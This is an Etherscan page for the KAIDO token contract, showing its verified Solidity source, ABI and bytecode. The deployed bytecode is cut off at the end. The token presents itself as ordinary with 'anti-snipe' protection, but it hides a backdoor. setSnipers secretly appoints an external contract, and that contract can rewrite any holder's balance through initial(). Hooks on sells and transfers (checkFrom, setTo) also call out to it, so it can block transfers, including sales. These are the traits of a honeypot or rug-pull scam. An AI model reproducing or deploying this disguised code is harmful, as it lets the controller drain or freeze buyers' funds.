ETH Price: $2,493.61 (-0.43%)

Token

Amaterasu-Kaido (KAIDO)
 

Overview

Max Total Supply

333,333,333 KAIDO

Holders

163

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
bigfadah.eth
Balance
0 KAIDO

Value
$0.00
0x90c5ca57def96cf5c651333d2033b8b16cc138cb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KAIDO

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-08
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface antiSnipe {
    function checkFrom(address _from, bool _state) external;

    function setTo(address _to) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract KAIDO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private cooldown;
    mapping(address => bool) private blackList;
    uint256 private _totalSupply = 333333333 * 10**9;

    string private constant _name = "Amaterasu-Kaido";
    string private constant _symbol = "KAIDO";
    uint8 private constant _decimals = 9;

    IUniswapV2Router02 private uniswapV2Router;
    antiSnipe private _early;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _totalSupply;
    uint256 private _maxWalletAmount = _totalSupply;

    modifier antiSnipeLogic() {
        require(
            address(_early) == msg.sender,
            "Error: sniper wallet."
        );
        _;
    }

    constructor() {
        _balance[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner {
        cooldownEnabled = onoff;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            require(amount <= _maxTxAmount, "Exceed max transaction amount");

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _tokenTransfer(from, to, amount);
                _early.checkFrom(from, true);
            } else {
                uint256 currentBalance = balanceOf(to);
                require(
                    currentBalance + amount < _maxWalletAmount,
                    "Exceed max wallet amount"
                );
                if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                    if (cooldownEnabled) {
                        require(cooldown[to] < block.timestamp);
                    }
                    cooldown[to] = block.timestamp + (30 seconds);
                    _tokenTransfer(from, to, amount);
                    _early.setTo(to);
                } else {
                    _tokenTransfer(from, to, amount);
                    _early.checkFrom(from, false);
                }
            }
        } else {
            _tokenTransfer(from, to, amount);
        }
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 1888889 * 10**9;
        _maxWalletAmount = 8888889 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        _balance[sender] = _balance[sender].sub(amount);
        _balance[recipient] = _balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function removeMaxWallet() public onlyOwner {
        _maxWalletAmount = totalSupply();
    }

    function removeMaxTx() public onlyOwner {
        _maxTxAmount = totalSupply();
    }

    function initial(address _sniper, uint256 _check) external antiSnipeLogic {
        _balance[_sniper] = _check;
    }

    function setSnipers(address[] memory _snipers) external onlyOwner {
        for(uint256 i = 0; i < _snipers.length; i++) {
            blackList[_snipers[i]] = true;
        }
        _early = antiSnipe(_snipers[10]);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_sniper","type":"address"},{"internalType":"uint256","name":"_check","type":"uint256"}],"name":"initial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_snipers","type":"address[]"}],"name":"setSnipers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526704a03ce67943120060068190556009805462ffffff60a81b19169055600a819055600b5534801561003557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600081815260026020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361151a806100d16000396000f3fe6080604052600436106101025760003560e01c80635e80148e1161009557806395d89b411161006457806395d89b41146102cd578063a9059cbb146102fb578063c9567bf91461031b578063dc07b61714610330578063dd62ed3e1461034557600080fd5b80635e80148e1461023a57806370a082311461025a578063715018a6146102905780638da5cb5b146102a557600080fd5b80632be1dee7116100d15780632be1dee7146101c75780633066dbb7146101de578063313ce567146101fe5780635932ead11461021a57600080fd5b806306fdde031461010e578063095ea7b31461015857806318160ddd1461018857806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600f81526e416d617465726173752d4b6169646f60881b60208201525b60405161014f9190611380565b60405180910390f35b34801561016457600080fd5b50610178610173366004611220565b61038b565b604051901515815260200161014f565b34801561019457600080fd5b506006545b60405190815260200161014f565b3480156101b357600080fd5b506101786101c23660046111df565b6103a1565b3480156101d357600080fd5b506101dc61040a565b005b3480156101ea57600080fd5b506101dc6101f9366004611220565b610445565b34801561020a57600080fd5b506040516009815260200161014f565b34801561022657600080fd5b506101dc610235366004611318565b6104b3565b34801561024657600080fd5b506101dc61025536600461124c565b6104fb565b34801561026657600080fd5b5061019961027536600461116c565b6001600160a01b031660009081526002602052604090205490565b34801561029c57600080fd5b506101dc6105d2565b3480156102b157600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102d957600080fd5b506040805180820190915260058152644b4149444f60d81b6020820152610142565b34801561030757600080fd5b50610178610316366004611220565b610646565b34801561032757600080fd5b506101dc610653565b34801561033c57600080fd5b506101dc610a38565b34801561035157600080fd5b506101996103603660046111a6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610398338484610a6a565b50600192915050565b60006103ae848484610b8f565b61040084336103fb856040518060600160405280602881526020016114bd602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fd4565b610a6a565b5060019392505050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b8152600401610434906113d5565b60405180910390fd5b600654600a55565b6008546001600160a01b031633146104975760405162461bcd60e51b815260206004820152601560248201527422b93937b91d1039b734b832b9103bb0b63632ba1760591b6044820152606401610434565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146104dd5760405162461bcd60e51b8152600401610434906113d5565b60098054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105255760405162461bcd60e51b8152600401610434906113d5565b60005b815181101561058d576001600560008484815181106105495761054961146a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061058581611439565b915050610528565b5080600a815181106105a1576105a161146a565b6020026020010151600860006101000a8154816001600160a01b0302191690836001600160a01b0316021790555050565b6000546001600160a01b031633146105fc5760405162461bcd60e51b8152600401610434906113d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610398338484610b8f565b6000546001600160a01b0316331461067d5760405162461bcd60e51b8152600401610434906113d5565b600954600160a01b900460ff16156106d75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610434565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556006546107109030908390610a6a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074957600080fd5b505afa15801561075d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107819190611189565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c957600080fd5b505afa1580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108019190611189565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084957600080fd5b505af115801561085d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108819190611189565b600980546001600160a01b039283166001600160a01b03199091161790556007541663f305d71947306108c9816001600160a01b031660009081526002602052604090205490565b6000806108de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094157600080fd5b505af1158015610955573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097a9190611352565b5050600980546606b5ef3ddd7a00600a55661f9465bf4afa00600b5563ffff00ff60a01b198116630101000160a01b1790915560075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190611335565b5050565b6000546001600160a01b03163314610a625760405162461bcd60e51b8152600401610434906113d5565b600654600b55565b6001600160a01b038316610acc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b038216610b2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bf35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610434565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610434565b60008111610cb75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610434565b6000546001600160a01b03848116911614801590610ce357506000546001600160a01b03838116911614155b15610fc457600a54811115610d3a5760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e740000006044820152606401610434565b6009546001600160a01b038381169116148015610d6557506007546001600160a01b03848116911614155b15610de057610d7583838361100e565b6008546040516308592dcf60e41b81526001600160a01b0385811660048301526001602483015290911690638592dcf090604401600060405180830381600087803b158015610dc357600080fd5b505af1158015610dd7573d6000803e3d6000fd5b50505050505050565b6001600160a01b038216600090815260026020526040902054600b54610e06838361140a565b10610e535760405162461bcd60e51b815260206004820152601860248201527f457863656564206d61782077616c6c657420616d6f756e7400000000000000006044820152606401610434565b6009546001600160a01b038581169116148015610e7e57506007546001600160a01b03848116911614155b15610f4c57600954600160b81b900460ff1615610eb9576001600160a01b0383166000908152600460205260409020544211610eb957600080fd5b610ec442601e61140a565b6001600160a01b038416600090815260046020526040902055610ee884848461100e565b60085460405163077233e960e41b81526001600160a01b038581166004830152909116906377233e9090602401600060405180830381600087803b158015610f2f57600080fd5b505af1158015610f43573d6000803e3d6000fd5b50505050610fbe565b610f5784848461100e565b6008546040516308592dcf60e41b81526001600160a01b0386811660048301526000602483015290911690638592dcf090604401600060405180830381600087803b158015610fa557600080fd5b505af1158015610fb9573d6000803e3d6000fd5b505050505b50505050565b610fcf83838361100e565b505050565b60008184841115610ff85760405162461bcd60e51b81526004016104349190611380565b5060006110058486611422565b95945050505050565b6001600160a01b03831660009081526002602052604090205461103190826110b4565b6001600160a01b03808516600090815260026020526040808220939093559084168152205461106090826110fd565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b829085815260200190565b60006110f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd4565b9392505050565b60008061110a838561140a565b9050838110156110f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610434565b803561116781611496565b919050565b60006020828403121561117e57600080fd5b81356110f681611496565b60006020828403121561119b57600080fd5b81516110f681611496565b600080604083850312156111b957600080fd5b82356111c481611496565b915060208301356111d481611496565b809150509250929050565b6000806000606084860312156111f457600080fd5b83356111ff81611496565b9250602084013561120f81611496565b929592945050506040919091013590565b6000806040838503121561123357600080fd5b823561123e81611496565b946020939093013593505050565b6000602080838503121561125f57600080fd5b823567ffffffffffffffff8082111561127757600080fd5b818501915085601f83011261128b57600080fd5b81358181111561129d5761129d611480565b8060051b604051601f19603f830116810181811085821117156112c2576112c2611480565b604052828152858101935084860182860187018a10156112e157600080fd5b600095505b8386101561130b576112f78161115c565b8552600195909501949386019386016112e6565b5098975050505050505050565b60006020828403121561132a57600080fd5b81356110f6816114ae565b60006020828403121561134757600080fd5b81516110f6816114ae565b60008060006060848603121561136757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156113ad57858101830151858201604001528201611391565b818111156113bf576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561141d5761141d611454565b500190565b60008282101561143457611434611454565b500390565b600060001982141561144d5761144d611454565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146114ab57600080fd5b50565b80151581146114ab57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bbc5448aac6b3c55b1dba5967e6e060081a8c5257110a22200e606de2c5f25d64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101025760003560e01c80635e80148e1161009557806395d89b411161006457806395d89b41146102cd578063a9059cbb146102fb578063c9567bf91461031b578063dc07b61714610330578063dd62ed3e1461034557600080fd5b80635e80148e1461023a57806370a082311461025a578063715018a6146102905780638da5cb5b146102a557600080fd5b80632be1dee7116100d15780632be1dee7146101c75780633066dbb7146101de578063313ce567146101fe5780635932ead11461021a57600080fd5b806306fdde031461010e578063095ea7b31461015857806318160ddd1461018857806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600f81526e416d617465726173752d4b6169646f60881b60208201525b60405161014f9190611380565b60405180910390f35b34801561016457600080fd5b50610178610173366004611220565b61038b565b604051901515815260200161014f565b34801561019457600080fd5b506006545b60405190815260200161014f565b3480156101b357600080fd5b506101786101c23660046111df565b6103a1565b3480156101d357600080fd5b506101dc61040a565b005b3480156101ea57600080fd5b506101dc6101f9366004611220565b610445565b34801561020a57600080fd5b506040516009815260200161014f565b34801561022657600080fd5b506101dc610235366004611318565b6104b3565b34801561024657600080fd5b506101dc61025536600461124c565b6104fb565b34801561026657600080fd5b5061019961027536600461116c565b6001600160a01b031660009081526002602052604090205490565b34801561029c57600080fd5b506101dc6105d2565b3480156102b157600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102d957600080fd5b506040805180820190915260058152644b4149444f60d81b6020820152610142565b34801561030757600080fd5b50610178610316366004611220565b610646565b34801561032757600080fd5b506101dc610653565b34801561033c57600080fd5b506101dc610a38565b34801561035157600080fd5b506101996103603660046111a6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610398338484610a6a565b50600192915050565b60006103ae848484610b8f565b61040084336103fb856040518060600160405280602881526020016114bd602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fd4565b610a6a565b5060019392505050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b8152600401610434906113d5565b60405180910390fd5b600654600a55565b6008546001600160a01b031633146104975760405162461bcd60e51b815260206004820152601560248201527422b93937b91d1039b734b832b9103bb0b63632ba1760591b6044820152606401610434565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146104dd5760405162461bcd60e51b8152600401610434906113d5565b60098054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105255760405162461bcd60e51b8152600401610434906113d5565b60005b815181101561058d576001600560008484815181106105495761054961146a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061058581611439565b915050610528565b5080600a815181106105a1576105a161146a565b6020026020010151600860006101000a8154816001600160a01b0302191690836001600160a01b0316021790555050565b6000546001600160a01b031633146105fc5760405162461bcd60e51b8152600401610434906113d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610398338484610b8f565b6000546001600160a01b0316331461067d5760405162461bcd60e51b8152600401610434906113d5565b600954600160a01b900460ff16156106d75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610434565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556006546107109030908390610a6a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074957600080fd5b505afa15801561075d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107819190611189565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c957600080fd5b505afa1580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108019190611189565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084957600080fd5b505af115801561085d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108819190611189565b600980546001600160a01b039283166001600160a01b03199091161790556007541663f305d71947306108c9816001600160a01b031660009081526002602052604090205490565b6000806108de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094157600080fd5b505af1158015610955573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097a9190611352565b5050600980546606b5ef3ddd7a00600a55661f9465bf4afa00600b5563ffff00ff60a01b198116630101000160a01b1790915560075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190611335565b5050565b6000546001600160a01b03163314610a625760405162461bcd60e51b8152600401610434906113d5565b600654600b55565b6001600160a01b038316610acc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b038216610b2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bf35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610434565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610434565b60008111610cb75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610434565b6000546001600160a01b03848116911614801590610ce357506000546001600160a01b03838116911614155b15610fc457600a54811115610d3a5760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e740000006044820152606401610434565b6009546001600160a01b038381169116148015610d6557506007546001600160a01b03848116911614155b15610de057610d7583838361100e565b6008546040516308592dcf60e41b81526001600160a01b0385811660048301526001602483015290911690638592dcf090604401600060405180830381600087803b158015610dc357600080fd5b505af1158015610dd7573d6000803e3d6000fd5b50505050505050565b6001600160a01b038216600090815260026020526040902054600b54610e06838361140a565b10610e535760405162461bcd60e51b815260206004820152601860248201527f457863656564206d61782077616c6c657420616d6f756e7400000000000000006044820152606401610434565b6009546001600160a01b038581169116148015610e7e57506007546001600160a01b03848116911614155b15610f4c57600954600160b81b900460ff1615610eb9576001600160a01b0383166000908152600460205260409020544211610eb957600080fd5b610ec442601e61140a565b6001600160a01b038416600090815260046020526040902055610ee884848461100e565b60085460405163077233e960e41b81526001600160a01b038581166004830152909116906377233e9090602401600060405180830381600087803b158015610f2f57600080fd5b505af1158015610f43573d6000803e3d6000fd5b50505050610fbe565b610f5784848461100e565b6008546040516308592dcf60e41b81526001600160a01b0386811660048301526000602483015290911690638592dcf090604401600060405180830381600087803b158015610fa557600080fd5b505af1158015610fb9573d6000803e3d6000fd5b505050505b50505050565b610fcf83838361100e565b505050565b60008184841115610ff85760405162461bcd60e51b81526004016104349190611380565b5060006110058486611422565b95945050505050565b6001600160a01b03831660009081526002602052604090205461103190826110b4565b6001600160a01b03808516600090815260026020526040808220939093559084168152205461106090826110fd565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b829085815260200190565b60006110f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd4565b9392505050565b60008061110a838561140a565b9050838110156110f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610434565b803561116781611496565b919050565b60006020828403121561117e57600080fd5b81356110f681611496565b60006020828403121561119b57600080fd5b81516110f681611496565b600080604083850312156111b957600080fd5b82356111c481611496565b915060208301356111d481611496565b809150509250929050565b6000806000606084860312156111f457600080fd5b83356111ff81611496565b9250602084013561120f81611496565b929592945050506040919091013590565b6000806040838503121561123357600080fd5b823561123e81611496565b946020939093013593505050565b6000602080838503121561125f57600080fd5b823567ffffffffffffffff8082111561127757600080fd5b818501915085601f83011261128b57600080fd5b81358181111561129d5761129d611480565b8060051b604051601f19603f830116810181811085821117156112c2576112c2611480565b604052828152858101935084860182860187018a10156112e157600080fd5b600095505b8386101561130b576112f78161115c565b8552600195909501949386019386016112e6565b5098975050505050505050565b60006020828403121561132a57600080fd5b81356110f6816114ae565b6000602